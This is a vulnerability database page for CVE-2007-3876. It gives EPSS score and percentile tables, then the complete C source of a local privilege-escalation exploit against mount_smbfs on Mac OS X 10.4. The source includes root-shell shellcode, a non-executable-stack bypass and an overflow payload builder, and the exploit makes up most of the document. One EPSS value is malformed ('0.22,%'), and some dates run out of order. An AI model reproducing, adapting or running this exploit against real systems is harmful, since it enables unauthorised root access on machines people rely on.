CVE-2007-3876 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	7.72%	–	–
2022-02-20	–	–	7.72%	–	–
2022-04-03	–	–	7.72%	–	–
2022-05-29	–	–	7.72%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-12-22	–	–	–	0.13%	–
2025-01-26	–	–	–	0.13%	–
2025-01-19	–	–	–	0.13%	–
2025-01-25	–	–	–	0.13%	–
2025-03-18	–	–	–	–	0.22%
2025-03-30	–	–	–	–	0.22%
2025-04-15	–	–	–	–	0.22%
2025-04-15	–	–	–	–	0.22,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	81%
2022-02-20	82%
2022-04-03	92%
2022-05-29	93%
2023-03-12	–
2024-06-02	–
2024-12-22	49%
2025-01-26	5%
2025-01-19	49%
2025-01-25	5%
2025-03-18	43%
2025-03-30	42%
2025-04-15	45%
2025-04-15	45%

/* * Copyright (C) 2007-2008 Subreption LLC. All rights reserved. * Visit http://blog.subreption.com for exploit development notes. * * References: * CVE-2007-3876 * http://docs.info.apple.com/article.html?artnum=307179 * http://seclists.org/fulldisclosure/2007/Dec/0445.html * http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=633 * http://phrack.org/issues.html?issue=64&id=11#article * BID: https://www.securityfocus.com/bid/26926 * * * Notes: * We bypass non-executable stack via shared_region_map_file_np(), as * documented in a Phrack 64 article by nemo. This technique has been * restricted in Leopard, but works perfectly in Tiger. Originally we * developed a Ruby exploit but given the reliable nature of nemo's * approach, we decided a C port would be the best option. * * Compile with: gcc -Wall mount_smbfs_root.c -o mount_smbfs_root * Version: 1.0 (+tiger_x86) * * Distributed under the terms of the Subreption Open Source License v1.0 * http://static.subreption.com/public/documents/subreption-sosl-1.0.txt */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/syscall.h> #include <sys/types.h> #include <mach/vm_prot.h> #include <mach/i386/vm_types.h> #include <mach/shared_memory_server.h> #include <string.h> #include <unistd.h> #define BASE_ADDR 0x9ffff000 #define PADDING_SIZE 1040 #define PAYLOAD_SIZE PADDING_SIZE + 24 /* From osfmk/mach/i386/vm_param.h */ #define I386_PGBYTES 4096 #define I386_PGSHIFT 12 #define PAGE_SIZE I386_PGBYTES #define PAGE_SHIFT I386_PGSHIFT struct _shared_region_mapping_np { mach_vm_address_t address; mach_vm_size_t size; mach_vm_offset_t file_offset; vm_prot_t max_prot; vm_prot_t init_prot; }; struct x86_target { char ebx[4]; char esi[4]; char edi[4]; char ebp[4]; char eip[4]; char saved_eip[4]; char extra_arg[4]; }; static int force_exploit = 0; /* Dual PowerPC + IA32 shellcode by nemo and b-r00t. * seteuid(0) + setuid(0) + execve() */ static char dual_shellcode[] = "\x5f\x90\xeb\x60\x38\x00\x00\xb7\x38\x60\x00\x00\x44\x00\x00\x02" "\x38\x00\x00\x17\x38\x60\x00\x00\x44\x00\x00\x02\x7c\xa5\x2a\x79" "\x40\x82\xff\xfd\x7d\x68\x02\xa6\x3b\xeb\x01\x70\x39\x40\x01\x70" "\x39\x1f\xfe\xcf\x7c\xa8\x29\xae\x38\x7f\xfe\xc8\x90\x61\xff\xf8" "\x90\xa1\xff\xfc\x38\x81\xff\xf8\x38\x0a\xfe\xcb\x44\xff\xff\x02" "\x7c\xa3\x2b\x78\x38\x0a\xfe\x91\x44\xff\xff\x02\x2f\x62\x69\x6e" "\x2f\x73\x68\x58\x31\xc0\x50\xb0\xb7\x6a\x7f\xcd\x80\x31\xc0\x50" "\xb0\x17\x6a\x7f\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x54\x54\x53\x53\xb0\x3b\xcd\x80"; /* Unless we are forcing the exploit, exit the process */ void cond_exit(int exitcode) { if (!force_exploit) exit(exitcode); } /* map_shellcode(void) - returns a return address as unsigned long * The returned address points to our shellcode, mapped from a temporary file on disk. * Most of this code is based on nemo's original example in his Phrack 64 article. * If the mapping exists, it will fail and require -f flag to be used for avoiding * the exit() calls. */ unsigned long map_shellcode(void) { int fd = -1; unsigned long shellcodeaddr = 0x0; struct _shared_region_mapping_np shmreg; char tmpbuf[PAGE_SIZE]; char *tmpfname; void *scptr = NULL; memset(tmpbuf, 0x90, sizeof(tmpbuf)); scptr = (tmpbuf + PAGE_SIZE - sizeof(dual_shellcode)); shmreg.address = BASE_ADDR; shmreg.size = PAGE_SIZE; shmreg.file_offset = 0; shmreg.max_prot = VM_PROT_EXECUTE|VM_PROT_READ|VM_PROT_WRITE; shmreg.init_prot = VM_PROT_EXECUTE|VM_PROT_READ|VM_PROT_WRITE; tmpfname = "/tmp/iChat.sock"; if ((fd = open(tmpfname, O_RDWR|O_CREAT)) == -1) { perror("open"); cond_exit(EXIT_FAILURE); } memcpy(scptr, dual_shellcode, sizeof(dual_shellcode)); if (write(fd, tmpbuf, PAGE_SIZE) != PAGE_SIZE) { perror("write"); close(fd); cond_exit(EXIT_FAILURE); } if (syscall(SYS_shared_region_map_file_np, fd, 1, &shmreg, NULL) == -1) { perror("shared_region_map_file_np"); close(fd); if (unlink(tmpfname) == -1) perror("unlink"); cond_exit(EXIT_FAILURE); } if (close(fd) == -1) perror("close"); if (unlink(tmpfname) == -1) perror("unlink"); shellcodeaddr = (unsigned long)(shmreg.address + PAGE_SIZE - sizeof(dual_shellcode)); fprintf(stdout, "Shellcode mapped: mapping starts at 0x%x, shellcode at %x\n", (unsigned)shmreg.address, (unsigned)shellcodeaddr); return shellcodeaddr; } int main(int argc, char *argv[]) { struct x86_target payload_template; unsigned long retaddr = 0x0; char payload[PAYLOAD_SIZE]; void *curptr = NULL; char *vuln_argv[] = { "mount_smbfs", "-W", "PLACEHOLDER", 0 }; char *vuln_envp[] = { "HISTFILE=/dev/null", "TERM=xterm-color", "PATH=/bin:/sbin:/usr/bin:/usr/sbin", "HISTSIZE=1", 0 }; fprintf(stdout, "Mac OS X 10.4.10, 10.4.11 mount_smbfs Local Root exploit\n" "Copyright (c) 2007-2008 Subreption LLC. All rights reserved.\n"); if (argc > 1) { if (!strcmp(argv[1], "-f")) force_exploit = 1; } retaddr = map_shellcode(); fprintf(stdout, "Payload size: %u (%u padding bytes), Return address: 0x%x\n", (unsigned)sizeof(payload), PADDING_SIZE, (unsigned)retaddr); memset(&payload_template, 0, sizeof(payload_template)); // Copy the correct addresses to the payload_template structure memcpy(payload_template.ebx, "\xfe\xca\xfe\xca", 4); // ebx = 0xcafecafe memcpy(payload_template.esi, "\xdd\xce\xfa\xde", 4); // esi = 0xdefacedd memcpy(payload_template.edi, "\xce\xfa\xed\xfe", 4); // edi = 0xfeedface memcpy(payload_template.ebp, "\xef\xfe\xad\xde", 4); // ebp = 0xdeadbeef memcpy(payload_template.eip, &retaddr, 4); // eip = retaddr memcpy(payload_template.saved_eip, "\xd0\x02\x01\x90", 4); // saved eip = exit() memcpy(payload_template.extra_arg, "\xfd\xf8\xff\xbf", 4); // extra arg = 0xbffff8fd // Fill the payload with the initial padding curptr = (void *)payload; memset(curptr, 0x41, PADDING_SIZE); // Copy the payload_template structure to our payload buffer curptr = payload + PADDING_SIZE; memcpy(curptr, &payload_template, sizeof(payload_template)); // Set the value to the -W option to point at our payload vuln_argv[2] = (char *)payload; if (execve("/sbin/mount_smbfs", vuln_argv, vuln_envp) == -1) { perror("execve"); exit(EXIT_FAILURE); } return 0; } // milw0rm.com [2007-12-19]